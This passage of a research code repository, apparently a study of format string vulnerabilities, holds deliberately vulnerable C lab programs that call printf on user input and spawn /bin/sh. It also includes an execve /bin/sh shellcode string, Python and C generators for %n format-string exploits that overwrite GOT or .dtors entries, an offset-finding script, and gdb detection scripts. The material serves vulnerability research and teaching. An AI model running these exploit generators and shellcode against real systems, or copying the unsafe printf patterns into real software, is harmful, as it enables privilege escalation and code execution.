| renameFile = "/".join(components[0:-1]) + "/*gdb.py"; 9 | 10 | print filename; 11 | print renameFile; 12 | 13 | Popen(["mv" + renameFile + " " + filename],stdout=PIPE,close_fds=True,shell=True).communicate()[0].strip() 14 | 15 | -------------------------------------------------------------------------------- /Research/TrialScripts/env: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PrateekJain90/ExploitingFormatStringVulnerabilities/7269e95ae7a751b3f08aa8c118fe339da9a461a4/Research/TrialScripts/env -------------------------------------------------------------------------------- /Research/TrialScripts/env.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | int main(int argc, char **argv, char** envp) 5 | { 6 | char** env; 7 | for (env = envp; *env != 0; env++) 8 | { 9 | char* thisEnv = *env; 10 | 11 | if(strstr(thisEnv,"SHELLCODE")!=NULL) 12 | printf("%s -- %p\n", thisEnv, thisEnv); 13 | } 14 | return(0); 15 | } 16 | -------------------------------------------------------------------------------- /Research/TrialScripts/envPrint.py: -------------------------------------------------------------------------------- 1 | import os 2 | 3 | os.environ["LD_PRELOAD"] = os.environ["PWD"] + "/customFormatFunctions.so"; 4 | print os.environ["LD_PRELOAD"] 5 | del os.environ["LD_PRELOAD"] 6 | print os.environ["LD_PRELOAD"] 7 | 8 | -------------------------------------------------------------------------------- /Research/TrialScripts/exportShell.py: -------------------------------------------------------------------------------- 1 | import os 2 | from subprocess import Popen,PIPE,call 3 | 4 | #os.environ["SHELLCODE"] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"; 5 | 6 | #os.environ["SHELLCODE"] = "BBBB"; 7 | #print os.environ["SHELLCODE"]; 8 | #print hex(id(os.environ["SHELLCODE"])); 9 | 10 | #output = Popen(["export","SHELLCODE=ABCD"],stdout=PIPE,close_fds=True,shell=True).communicate()[0].strip() 11 | 12 | #print output; 13 | 14 | 15 | #os.environ["SHELLCODE"] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"; 16 | 17 | #subprocess.check_call(['sqsub', '-np', sys.argv[1], '/home/prateekj/Desktop/ResearchProject/Research/'], 18 | # env=os.environ) 19 | 20 | 21 | ''' 22 | p1 = Popen(["objdump", "--dynamic-reloc", binary], stdout=PIPE) 23 | p2 = Popen(["grep", " %s$" % options.got], stdin=p1.stdout, stdout=PIPE) # Exact match RE 24 | p3 = Popen(["cut", "-d ", "-f1"], stdin=p2.stdout, stdout=PIPE) 25 | options.overwrite = int(p3.communicate()[0],16) 26 | log.debug("Found got address for function '%s' of binary '%s' at: %#x" % (options.got,binary,options.overwrite)) 27 | ''' 28 | 29 | ''' 30 | binaryName = os.environ["PWD"] + "/binaries/newproblem1"; 31 | p1 = Popen(["objdump", "--dynamic-reloc", binaryName], stdout=PIPE) 32 | p2 = Popen(["cut", "-d ", "-f1"], stdin=p1.stdout, stdout=PIPE).communicate()[0] 33 | 34 | zones = []; 35 | 36 | for line in p2.split('\n'): 37 | if not line: 38 | continue 39 | zones.append(line) 40 | 41 | del zones[0:3]; 42 | 43 | print zones; 44 | ''' 45 | 46 | 47 | #binaryName = os.environ["PWD"] + "/binaries/newproblem1"; 48 | #p1 = Popen(["objdump", "--dynamic-reloc", binaryName],stdout=PIPE,close_fds=True).communicate()[0].strip(); 49 | #print (p2); 50 | 51 | cmd = 'echo $HOME' 52 | print Popen(cmd,stdout=PIPE,close_fds=True,shell=True).communicate()[0].strip() 53 | 54 | 55 | 56 | 57 | -------------------------------------------------------------------------------- /Research/TrialScripts/exportShell.sh: -------------------------------------------------------------------------------- 1 | export SHELLCODE="AAAAAA" 2 | -------------------------------------------------------------------------------- /Research/TrialScripts/format: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PrateekJain90/ExploitingFormatStringVulnerabilities/7269e95ae7a751b3f08aa8c118fe339da9a461a4/Research/TrialScripts/format -------------------------------------------------------------------------------- /Research/TrialScripts/format.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int secret = 0; 6 | 7 | void give_shell(){ 8 | gid_t gid = getegid(); 9 | setresgid(gid, gid, gid); 10 | system("/bin/sh -i"); 11 | } 12 | 13 | int main(int argc, char **argv){ 14 | int *ptr = &secret; 15 | printf(argv[1]); 16 | 17 | if (secret == 1337){ 18 | give_shell(); 19 | } 20 | return 0; 21 | } 22 | -------------------------------------------------------------------------------- /Research/TrialScripts/formatStringBuilder.py: -------------------------------------------------------------------------------- 1 | dummyString = "AAAAA"; 2 | addressToWrite = "0804856d"; 3 | addressToOverwrite = "8049fa0"; 4 | distanceInWords = 7; 5 | 6 | splitsAddressToOverwrite = [addressToOverwrite[x:x+2] for x in range(0,len(addressToOverwrite),2)] 7 | splitsAddressToWrite = [addressToWrite[x:x+2] for x in range(0,len(addressToWrite),2)] 8 | 9 | byte = [None]*4; 10 | 11 | for index in range(0, 4): 12 | byte[index] = format(int(splitsAddressToOverwrite[3], 16) + index ,'x'); 13 | byte[index] = byte[index] if (len(byte[index]) == 2) else "0"+byte[index]; 14 | 15 | addressString = dummyString; 16 | for index in range(0, 4): 17 | addressString = (addressString + "\\x"+byte[index]+"\\x"+splitsAddressToOverwrite[2]+"\\x"+splitsAddressToOverwrite[1]+"\\x"+splitsAddressToOverwrite[0]); 18 | 19 | 20 | initialNum = len(dummyString)+16; 21 | offset = [None]*4; 22 | 23 | offset[0] = int(splitsAddressToWrite[3],16) - initialNum; 24 | if offset[0] < 8: 25 | offset[0] = int(splitsAddressToWrite[3],16) + 256 - initialNum; 26 | 27 | j = 1; 28 | for index in xrange(3, 0, -1): 29 | offset[j] = int(splitsAddressToWrite[index-1],16) - int(splitsAddressToWrite[index],16); 30 | if offset[j] < 8: 31 | offset[j] = int(splitsAddressToWrite[index-1],16) + 256 - int(splitsAddressToWrite[index],16); 32 | j = j + 1; 33 | 34 | distanceInWords = distanceInWords + len(dummyString)/4; 35 | 36 | exploitString = ""; 37 | 38 | for index in range(0, 4): 39 | exploitString = (exploitString + "%" + str(distanceInWords) + "\$" + str(offset[index]) + "x%" + str(distanceInWords+index) + "\$n"); 40 | 41 | finalExploitString = addressString + exploitString; 42 | 43 | print (finalExploitString); 44 | 45 | 46 | 47 | ''' 48 | 49 | 50 | byteOneAdd = format(int(splitsAddressToOverwrite[3], 16),'x'); 51 | byteOneAdd = byteOneAdd if (len(byteOneAdd) == 2) else "0"+byteOneAdd; 52 | 53 | byteTwoAdd = format(int(splitsAddressToOverwrite[3], 16)+1,'x'); 54 | byteTwoAdd = byteTwoAdd if (len(byteTwoAdd) == 2) else "0"+byteTwoAdd; 55 | 56 | byteThreeAdd = format(int(splitsAddressToOverwrite[3], 16)+2,'x'); 57 | byteThreeAdd = byteThreeAdd if (len(byteThreeAdd) == 2) else "0"+byteThreeAdd; 58 | 59 | byteFourAdd = format(int(splitsAddressToOverwrite[3], 16)+3,'x'); 60 | byteFourAdd = byteFourAdd if (len(byteFourAdd) == 2) else "0"+byteFourAdd; 61 | 62 | addressString = (dummyString + "\\x"+byteOneAdd+"\\x"+splitsAddressToOverwrite[2]+"\\x"+splitsAddressToOverwrite[1]+"\\x"+splitsAddressToOverwrite[0] + 63 | "\\x"+byteTwoAdd+"\\x"+splitsAddressToOverwrite[2]+"\\x"+splitsAddressToOverwrite[1]+"\\x"+splitsAddressToOverwrite[0] + 64 | "\\x"+byteThreeAdd+"\\x"+splitsAddressToOverwrite[2]+"\\x"+splitsAddressToOverwrite[1]+"\\x"+splitsAddressToOverwrite[0] + 65 | "\\x"+byteFourAdd+"\\x"+splitsAddressToOverwrite[2]+"\\x"+splitsAddressToOverwrite[1]+"\\x"+splitsAddressToOverwrite[0]); 66 | 67 | 68 | firstOffset = int(splitsAddressToWrite[3],16) - initialNum; 69 | if firstOffset < 8: 70 | firstOffset = int(splitsAddressToWrite[3],16) + 256 - initialNum; 71 | 72 | secondOffset = int(splitsAddressToWrite[2],16) - int(splitsAddressToWrite[3],16); 73 | if secondOffset < 8: 74 | secondOffset = int(splitsAddressToWrite[2],16) + 256 - int(splitsAddressToWrite[3],16); 75 | 76 | thirdOffset = int(splitsAddressToWrite[1],16) - int(splitsAddressToWrite[2],16); 77 | if thirdOffset < 8: 78 | thirdOffset = int(splitsAddressToWrite[1],16) + 256 - int(splitsAddressToWrite[2],16); 79 | 80 | fourthOffset = int(splitsAddressToWrite[0],16) - int(splitsAddressToWrite[1],16); 81 | if fourthOffset < 8: 82 | fourthOffset = int(splitsAddressToWrite[0],16) + 256 - int(splitsAddressToWrite[1],16); 83 | 84 | 85 | distanceInWords = distanceInWords + len(dummyString)/4; 86 | 87 | 88 | exploitString = ("%" + str(distanceInWords) + "\$" + str(firstOffset) + "x%" + str(distanceInWords) + "\$n" + 89 | "%" + str(distanceInWords) + "\$" + str(secondOffset) + "x%" + str(distanceInWords+1) + "\$n" + 90 | "%" + str(distanceInWords) + "\$" + str(thirdOffset) + "x%" + str(distanceInWords+2) + "\$n" + 91 | "%" + str(distanceInWords) + "\$" + str(fourthOffset) + "x%" + str(distanceInWords+3) + "\$n"); 92 | 93 | finalExploitString = addressString + exploitString; 94 | 95 | print (finalExploitString); 96 | 97 | 98 | ''' 99 | 100 | -------------------------------------------------------------------------------- /Research/TrialScripts/formatStringExploit.py: -------------------------------------------------------------------------------- 1 | import os 2 | from subprocess import Popen,PIPE,call 3 | 4 | def executeProgram(binaryName, formatString): 5 | return Popen([binaryName, formatString],stdout=PIPE,close_fds=True).communicate()[0].strip() 6 | 7 | def parseAddressSpace(binaryName): 8 | return Popen(["gdb", "-q", binaryName],stdout=PIPE,close_fds=True).communicate()[0].strip() 9 | 10 | def calculateOffset(binaryName, formatString): 11 | output = ""; 12 | arg = 1; 13 | 14 | while(1): 15 | 16 | if(arg>50): 17 | return -1; 18 | 19 | format = formatString + "%" + str(arg) + "$x"; 20 | output = executeProgram(binaryName,format); 21 | 22 | if( formatString+"41414141" in output): 23 | print("Offset between format string and its address is: %d words" % arg); 24 | print("Format string used: %s" % format); 25 | return arg; 26 | 27 | arg = arg + 1; 28 | 29 | 30 | def prepareFormatString(addressToWrite, addressToOverwrite, distanceInWords): 31 | return -1; 32 | 33 | # Write function which exports custom/default shell code and returns its address 34 | # Write function which shows the addresses of GOT entries which can be overwritten 35 | 36 | 37 | def main(): 38 | 39 | binaryName = "/home/prateekj/Desktop/Research/problem1"; 40 | 41 | # Find vulnerable printf 42 | parseAddressSpace(binaryName); 43 | 44 | # Find Offset 45 | r = calculateOffset(binaryName, "AAAA"); 46 | if(r == -1): 47 | r1 = calculateOffset(binaryName, "AAAAA"); 48 | if(r1 == -1): 49 | print("Cannot find offset"); 50 | 51 | 52 | if __name__ == '__main__': 53 | main() 54 | -------------------------------------------------------------------------------- /Research/TrialScripts/gdb.txt: -------------------------------------------------------------------------------- 1 | warning: Currently logging to gdb.txt. Turn the logging off and on to make the new setting effective. 2 | #1 0x08048652 in main () 3 | [Inferior 1 (process 10852) exited normally] 4 | Dump of assembler code for function main: 5 | 0x080485d2 <+0>: push %ebp 6 | 0x080485d3 <+1>: mov %esp,%ebp 7 | 0x080485d5 <+3>: and $0xfffffff0,%esp 8 | 0x080485d8 <+6>: sub $0x220,%esp 9 | 0x080485de <+12>: mov 0xc(%ebp),%eax 10 | 0x080485e1 <+15>: mov %eax,0xc(%esp) 11 | 0x080485e5 <+19>: mov %gs:0x14,%eax 12 | 0x080485eb <+25>: mov %eax,0x21c(%esp) 13 | 0x080485f2 <+32>: xor %eax,%eax 14 | 0x080485f4 <+34>: cmpl $0x2,0x8(%ebp) 15 | 0x080485f8 <+38>: je 0x8048611 16 | 0x080485fa <+40>: mov $0xffffffff,%eax 17 | 0x080485ff <+45>: mov 0x21c(%esp),%edx 18 | 0x08048606 <+52>: xor %gs:0x14,%edx 19 | 0x0804860d <+59>: je 0x804866f 20 | 0x0804860f <+61>: jmp 0x804866a 21 | 0x08048611 <+63>: mov 0xc(%esp),%eax 22 | 0x08048615 <+67>: add $0x4,%eax 23 | 0x08048618 <+70>: mov (%eax),%eax 24 | 0x0804861a <+72>: movl $0x200,0x8(%esp) 25 | 0x08048622 <+80>: mov %eax,0x4(%esp) 26 | 0x08048626 <+84>: lea 0x1b(%esp),%eax 27 | 0x0804862a <+88>: mov %eax,(%esp) 28 | 0x0804862d <+91>: call 0x8048480 29 | 0x08048632 <+96>: movb $0x0,0x21b(%esp) 30 | 0x0804863a <+104>: movl $0x804871b,(%esp) 31 | 0x08048641 <+111>: call 0x8048400 32 | 0x08048646 <+116>: lea 0x1b(%esp),%eax 33 | 0x0804864a <+120>: mov %eax,(%esp) 34 | 0x0804864d <+123>: call 0x8048400 35 | 0x08048652 <+128>: movl $0x804872c,(%esp) 36 | 0x08048659 <+135>: call 0x8048430 37 | 0x0804865e <+140>: movl $0x0,(%esp) 38 | 0x08048665 <+147>: call 0x8048460 39 | 0x0804866a <+152>: call 0x8048410 <__stack_chk_fail@plt> 40 | 0x0804866f <+157>: leave 41 | 0x08048670 <+158>: ret 42 | End of assembler dump. 43 | -------------------------------------------------------------------------------- /Research/TrialScripts/getenv: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PrateekJain90/ExploitingFormatStringVulnerabilities/7269e95ae7a751b3f08aa8c118fe339da9a461a4/Research/TrialScripts/getenv -------------------------------------------------------------------------------- /Research/TrialScripts/getenv.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | int main(int argc, char *argv[]) { 5 | 6 | char *addr; 7 | if (argc < 2) { 8 | printf("Usage:\n%s \n", argv[0]); 9 | exit(0); 10 | } 11 | 12 | addr = getenv(argv[1]); 13 | if (addr == NULL) 14 | printf("The environment variable %s doesn't exist.\n", argv[1]); 15 | else 16 | printf("%s is located at %p\n", argv[1], addr); 17 | 18 | return(0); 19 | } 20 | -------------------------------------------------------------------------------- /Research/TrialScripts/initialCode.py: -------------------------------------------------------------------------------- 1 | 2 | ''' 3 | #binaryName = os.environ["PWD"] + "/binaries/newproblem1"; 4 | #binaryName = os.environ["PWD"] + "/binaries/problem2"; 5 | #exportShellCode(); 6 | 7 | #Remove Temporary files 8 | removeTempFiles(); 9 | 10 | # Find vulnerable printf 11 | parseAddressSpace(binaryName); 12 | 13 | prepareSharedLibrary(); 14 | os.environ["LD_PRELOAD"] = os.environ["PWD"] + "/customFormatFunctions.so"; 15 | output = executeProgram(binaryName, "test"); 16 | del os.environ["LD_PRELOAD"]; 17 | 18 | findVulnPrintf(); 19 | 20 | # Find Offset 21 | r = calculateOffset(binaryName, "AAAA"); 22 | dummyString = "AAAA"; 23 | if(r == -1): 24 | r = calculateOffset(binaryName, "AAAAA"); 25 | dummyString = "AAAAA"; 26 | if(r == -1): 27 | print("Cannot find offset"); 28 | dummyString = ""; 29 | 30 | # Prepare dummy String 31 | if r != -1 : 32 | exploitString = prepareFormatString(dummyString,"0804856d","08049fa0",r); 33 | print exploitString; 34 | 35 | 36 | # Potential Exploit Strings based on GOT addresses 37 | 38 | gotAddresses = findAllGOTAddresses(binaryName); 39 | for i in range(len(gotAddresses)): 40 | exploit = prepareFormatString(dummyString,"0804856d",gotAddresses[i],r); 41 | print("Exploit %d: %s\n-------" % ((i+1), exploit)); 42 | ''' 43 | 44 | -------------------------------------------------------------------------------- /Research/TrialScripts/menuDriven.py: -------------------------------------------------------------------------------- 1 | addressToWrite = "aaaa" 2 | length = 8 - len(addressToWrite); 3 | print length; 4 | 5 | addressToWrite = length*'0' + addressToWrite; 6 | 7 | print addressToWrite 8 | 9 | ''' 10 | while True: 11 | print("\n\ 12 | 1. Auto find if vulnerable.\n\ 13 | 2. Auto find distance between format string and its address in words.\n\ 14 | 3. Provide addToWrite,addToOverwrite and distance in words to get exploit string.\n\ 15 | 4. Provide addToWrite and distance in words to auto create potential exploit strings using GOT addresses.\n\ 16 | 5. Quit"); 17 | 18 | choice = raw_input("> ").lower().rstrip() 19 | if choice=="1": 20 | print 1; 21 | elif choice=="2": 22 | print 2; 23 | elif choice=="3": 24 | print 3; 25 | elif choice=="4": 26 | print 4; 27 | elif choice=="5": 28 | break; 29 | else: 30 | print("Invalid choice, please choose again\n") 31 | ''' 32 | -------------------------------------------------------------------------------- /Research/TrialScripts/newerproblem1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PrateekJain90/ExploitingFormatStringVulnerabilities/7269e95ae7a751b3f08aa8c118fe339da9a461a4/Research/TrialScripts/newerproblem1 -------------------------------------------------------------------------------- /Research/TrialScripts/newproblem1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PrateekJain90/ExploitingFormatStringVulnerabilities/7269e95ae7a751b3f08aa8c118fe339da9a461a4/Research/TrialScripts/newproblem1 -------------------------------------------------------------------------------- /Research/TrialScripts/original_problem1-gdb.py: -------------------------------------------------------------------------------- 1 | import gdb 2 | 3 | class CheckFmtBreakpoint(gdb.Breakpoint): 4 | 5 | def __init__(self, spec, fmt_idx): 6 | super(CheckFmtBreakpoint, self).__init__( 7 | spec, gdb.BP_BREAKPOINT, internal=False 8 | ) 9 | self.fmt_idx = fmt_idx 10 | #gdb.execute('r hi') 11 | 12 | def stop(self): 13 | 14 | args = ["$ebp+8"] 15 | fmt_addr = gdb.parse_and_eval(args[self.fmt_idx]) 16 | proc_map = [] 17 | with open("/proc/%d/maps" % gdb.selected_inferior().pid) as fp: 18 | proc_map = self._parse_map(fp.read()) 19 | 20 | for mapping in proc_map: 21 | if mapping["start"] <= fmt_addr < mapping["end"]: 22 | break 23 | else: 24 | print("%08x belongs to an unknown memory range" % fmt_addr) 25 | return True 26 | 27 | if "w" in mapping["perms"]: 28 | print("Format string in writable memory!") 29 | #gdb.execute('set logging off') 30 | #gdb.execute('set logging on') 31 | #gdb.execute('set logging overwrite on') 32 | gdb.execute('bt -1') 33 | return True 34 | #gdb.execute('quit') 35 | 36 | return False 37 | 38 | def _parse_map(self, file_contents): 39 | 40 | zones = [] 41 | for line in file_contents.split('\n'): 42 | if not line: 43 | continue 44 | memrange, perms, _ = line.split(None, 2) 45 | start, end = memrange.split('-') 46 | zones.append({ 47 | 'start': int(start, 16), 48 | 'end': int(end, 16), 49 | 'perms': perms 50 | }) 51 | return zones 52 | 53 | CheckFmtBreakpoint("printf", 0) 54 | ''' 55 | CheckFmtBreakpoint("fprintf", 1) 56 | CheckFmtBreakpoint("sprintf", 1) 57 | CheckFmtBreakpoint("snprintf", 2) 58 | CheckFmtBreakpoint("vprintf", 0) 59 | CheckFmtBreakpoint("vfprintf", 1) 60 | CheckFmtBreakpoint("vsprintf", 1) 61 | CheckFmtBreakpoint("vsnprintf", 2) 62 | ''' 63 | -------------------------------------------------------------------------------- /Research/TrialScripts/problem1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PrateekJain90/ExploitingFormatStringVulnerabilities/7269e95ae7a751b3f08aa8c118fe339da9a461a4/Research/TrialScripts/problem1 -------------------------------------------------------------------------------- /Research/TrialScripts/problem1.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #define MAX_LENGTH 512 6 | 7 | void getShell() 8 | { 9 | gid_t gid = getegid(); 10 | setresgid(gid, gid, gid); 11 | system("/bin/sh -i"); 12 | } 13 | 14 | int main(int argc, char *argv[]) { 15 | 16 | char name[MAX_LENGTH+1]; 17 | 18 | if(argc != 2) 19 | return -1; 20 | 21 | strncpy(name, argv[1], MAX_LENGTH); 22 | name[MAX_LENGTH] = '\0'; 23 | 24 | printf(name); 25 | printf("\nToday's quote is:\nWith great power comes great responsibility\n"); 26 | 27 | exit(0); 28 | } 29 | -------------------------------------------------------------------------------- /Research/TrialScripts/problem2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PrateekJain90/ExploitingFormatStringVulnerabilities/7269e95ae7a751b3f08aa8c118fe339da9a461a4/Research/TrialScripts/problem2 -------------------------------------------------------------------------------- /Research/TrialScripts/problem2.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int main(int argc, char *argv[]) { 6 | 7 | char buffer[64]; 8 | static int value = 50; 9 | 10 | if(argc != 2) 11 | return -1; 12 | 13 | strcpy(buffer, argv[1]); 14 | 15 | printf("Right way:\n"); 16 | printf("%s\n", buffer); 17 | 18 | printf("Wrong way:\n"); 19 | printf(buffer); 20 | 21 | printf("\n"); 22 | 23 | printf("(-) value @ 0x%08x = %d 0x%08x\n", 24 | &value, value, value); 25 | 26 | return 0; 27 | } 28 | 29 | -------------------------------------------------------------------------------- /Research/TrialScripts/problem3: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PrateekJain90/ExploitingFormatStringVulnerabilities/7269e95ae7a751b3f08aa8c118fe339da9a461a4/Research/TrialScripts/problem3 -------------------------------------------------------------------------------- /Research/TrialScripts/problem3.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | int target; 7 | 8 | void hello() 9 | { 10 | printf("code execution redirected! you win\n"); 11 | _exit(1); 12 | } 13 | 14 | void vuln(char* str) 15 | { 16 | char buffer[512]; 17 | 18 | strncpy(buffer, str, sizeof(buffer)-1); 19 | buffer[sizeof(buffer)]='\0'; 20 | 21 | printf(buffer); 22 | 23 | exit(1); 24 | } 25 | 26 | int main(int argc, char **argv) 27 | { 28 | vuln(argv[1]); 29 | } 30 | -------------------------------------------------------------------------------- /Research/TrialScripts/problem4: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PrateekJain90/ExploitingFormatStringVulnerabilities/7269e95ae7a751b3f08aa8c118fe339da9a461a4/Research/TrialScripts/problem4 -------------------------------------------------------------------------------- /Research/TrialScripts/problem4.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | int target; 7 | 8 | void hello() 9 | { 10 | printf("code execution redirected! you win\n"); 11 | _exit(1); 12 | } 13 | 14 | void vuln() 15 | { 16 | char buffer[512]; 17 | 18 | fgets(buffer, sizeof(buffer), stdin); 19 | 20 | printf(buffer); 21 | 22 | exit(1); 23 | } 24 | 25 | int main(int argc, char **argv) 26 | { 27 | vuln(); 28 | } 29 | -------------------------------------------------------------------------------- /Research/TrialScripts/procMap.txt: -------------------------------------------------------------------------------- 1 | {'end': 134516736, 'start': 134512640, 'perms': 'r-xp'} 2 | {'end': 134520832, 'start': 134516736, 'perms': 'r--p'} 3 | {'end': 134524928, 'start': 134520832, 'perms': 'rw-p'} 4 | {'end': 4158685184, 'start': 4158681088, 'perms': 'rw-p'} 5 | {'end': 4160425984, 'start': 4158685184, 'perms': 'r-xp'} 6 | {'end': 4160434176, 'start': 4160425984, 'perms': 'r--p'} 7 | {'end': 4160438272, 'start': 4160434176, 'perms': 'rw-p'} 8 | {'end': 4160450560, 'start': 4160438272, 'perms': 'rw-p'} 9 | {'end': 4160598016, 'start': 4160585728, 'perms': 'rw-p'} 10 | {'end': 4160602112, 'start': 4160598016, 'perms': 'r-xp'} 11 | {'end': 4160733184, 'start': 4160602112, 'perms': 'r-xp'} 12 | {'end': 4160737280, 'start': 4160733184, 'perms': 'r--p'} 13 | {'end': 4160741376, 'start': 4160737280, 'perms': 'rw-p'} 14 | {'end': 4294959104, 'start': 4294823936, 'perms': 'rw-p'} 15 | -------------------------------------------------------------------------------- /Research/TrialScripts/program.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | import sys, getopt 4 | 5 | def main(argv): 6 | inputfile = '' 7 | outputfile = '' 8 | try: 9 | opts, args = getopt.getopt(argv,"hi:o:",["ifile=","ofile="]) 10 | except getopt.GetoptError: 11 | print 'test.py -i -o ' 12 | sys.exit(2) 13 | for opt, arg in opts: 14 | if opt == '-h': 15 | print 'test.py -i -o ' 16 | sys.exit() 17 | elif opt in ("-i", "--ifile"): 18 | inputfile = arg 19 | elif opt in ("-o", "--ofile"): 20 | outputfile = arg 21 | print 'Input file is "', inputfile 22 | print 'Output file is "', outputfile 23 | 24 | if __name__ == "__main__": 25 | main(sys.argv[1:]) 26 | -------------------------------------------------------------------------------- /Research/TrialScripts/readList.py: -------------------------------------------------------------------------------- 1 | with open('procMap.txt') as f: 2 | zones = [] 3 | contents = f.read(); 4 | for line in contents.split('\n'): 5 | if not line: 6 | continue 7 | memrange, perms, _ = line.split(None, 2) 8 | start, end = memrange.split('-') 9 | zones.append({ 10 | 'start': int(start, 16), 11 | 'end': int(end, 16), 12 | 'perms': perms 13 | }) 14 | 15 | with open('address.txt') as f: 16 | address = f.read().splitlines() 17 | 18 | for index in range(len(address)): 19 | for mapping in zones: 20 | if mapping["start"] <= int(address[index],16) < mapping["end"]: 21 | break 22 | 23 | # Check the memory permissions 24 | if "w" in mapping["perms"]: 25 | print("Format function no. %d has format string in writable memory." % (index+1)); 26 | 27 | 28 | -------------------------------------------------------------------------------- /Research/TrialScripts/stringBuilder: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PrateekJain90/ExploitingFormatStringVulnerabilities/7269e95ae7a751b3f08aa8c118fe339da9a461a4/Research/TrialScripts/stringBuilder -------------------------------------------------------------------------------- /Research/TrialScripts/stringBuilder.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #define ADD 0x100 7 | 8 | #define OCT(b0, b1, b2, b3, addr) { \ 9 | b0 = (addr >> 24) & 0xff; \ 10 | b1 = (addr >> 16) & 0xff; \ 11 | b2 = (addr >> 8) & 0xff; \ 12 | b3 = (addr ) & 0xff; \ 13 | } 14 | 15 | 16 | void usage (char *program) { 17 | 18 | fprintf(stderr, "\n" ); 19 | fprintf(stderr, "Usage : %s [-nh] -l -r -o -b \n", program); 20 | fprintf(stderr, " -n :\tFormat string with %%n\n"); 21 | fprintf(stderr, " -h :\tFormat string with %%hn\n"); 22 | fprintf(stderr, " -l : address to overwrite (like .dtors)\n"); 23 | fprintf(stderr, " -r : where we want to return (shellcode)\n" ); 24 | fprintf(stderr, " -o : distance in 'words' to reach the part of the buffer we control\n" ); 25 | fprintf(stderr, " -b : amount of char previously in the string\n\n" ); 26 | } 27 | 28 | char *nway(unsigned int retaddr, unsigned int offset, 29 | unsigned int base) { 30 | 31 | char *buff; 32 | 33 | unsigned char b0, b1, b2, b3; 34 | unsigned int length = 128; 35 | 36 | int start = ((base / ADD) + 1) * ADD; 37 | 38 | OCT(b0, b1, b2, b3, retaddr); 39 | 40 | if(!(buff = (char *)malloc(256))) { 41 | printf("Can't allocate buffer.\n"); 42 | exit(-1); 43 | } 44 | 45 | memset(buff, 0x00, sizeof(buff)); 46 | 47 | snprintf(buff, length, 48 | "%%%dx%%%d$n%%%dx%%%d$n" 49 | "%%%dx%%%d$n%%%dx%%%d$n", 50 | b3 - sizeof(size_t) * 4 + start - base, offset, 51 | b2 - b3 + start, offset + 1, 52 | b1 - b2 + start, offset + 2, 53 | b0 - b1 + start, offset + 3 54 | ); 55 | 56 | return buff; 57 | } 58 | 59 | char *hnway(unsigned int retaddr, unsigned int offset, 60 | unsigned int base) { 61 | 62 | char *buff = (char *)malloc(256); 63 | 64 | unsigned int low, high; 65 | unsigned int wr1, wr2; 66 | 67 | low = (retaddr & 0x0000ffff); 68 | high = (retaddr & 0xffff0000) >> 16; 69 | 70 | if (high < low) high += 0x10000; 71 | 72 | wr1 = low - 8 - base; 73 | wr2 = high - low; 74 | 75 | sprintf(buff, "%%.%du%%%d$hn%%.%du%%%d$hn", 76 | wr1, offset, wr2, offset+1); 77 | return buff; 78 | } 79 | 80 | 81 | int main(int argc, char * argv[]) { 82 | 83 | char opt; 84 | char *fmt; 85 | char *endian; 86 | unsigned long locaddr; 87 | unsigned long retaddr; 88 | unsigned int offset, base, align = 0; 89 | unsigned char b0, b1, b2, b3; 90 | 91 | int length, way; 92 | 93 | if(argc != 10) { 94 | usage(argv[0]); 95 | return -1; 96 | } 97 | 98 | length = (sizeof(size_t) * 16) + 1; 99 | 100 | if(!(endian = (char *)malloc(length * sizeof(char)))) { 101 | printf("Can't allocate buffer.\n"); 102 | return -1; 103 | } 104 | 105 | memset(endian, 0x00, length); 106 | 107 | while((opt = getopt(argc, argv, "nhl:r:o:b:")) != EOF) 108 | switch(opt) { 109 | case 'n': way = 0; break; 110 | case 'h': way = 1; break; 111 | case 'l': locaddr = strtoul(optarg, NULL, 16); break; 112 | case 'r': retaddr = strtoul(optarg, NULL, 16); break; 113 | case 'o': offset = atoi(optarg); break; 114 | case 'b': base = atoi(optarg); break; 115 | default : usage(argv[0]); exit(-1); 116 | } 117 | 118 | OCT(b0, b1, b2, b3, (locaddr+4)); 119 | 120 | if(base % 4) { 121 | align = 4 - (base % 4); 122 | base += align; 123 | } 124 | 125 | if(way == 0) { 126 | 127 | snprintf(endian, length, 128 | "%c%c%c%c" 129 | "%c%c%c%c" 130 | "%c%c%c%c" 131 | "%c%c%c%c", 132 | b3 + 0, b2, b1, b0, 133 | b3 + 1, b2, b1, b0, 134 | b3 + 2, b2, b1, b0, 135 | b3 + 3, b2, b1, b0); 136 | 137 | fmt = nway(retaddr, offset, align); 138 | } 139 | else { 140 | snprintf(endian, length, 141 | "%c%c%c%c" 142 | "%c%c%c%c", 143 | b3 + 0, b2, b1, b0, 144 | b3 + 2, b2, b1, b0); 145 | 146 | fmt = hnway(retaddr, offset, align); 147 | } 148 | 149 | for(; align > 0; --align) 150 | printf("."); 151 | 152 | printf("%s%s\n", endian, fmt); 153 | 154 | return 0; 155 | } 156 | 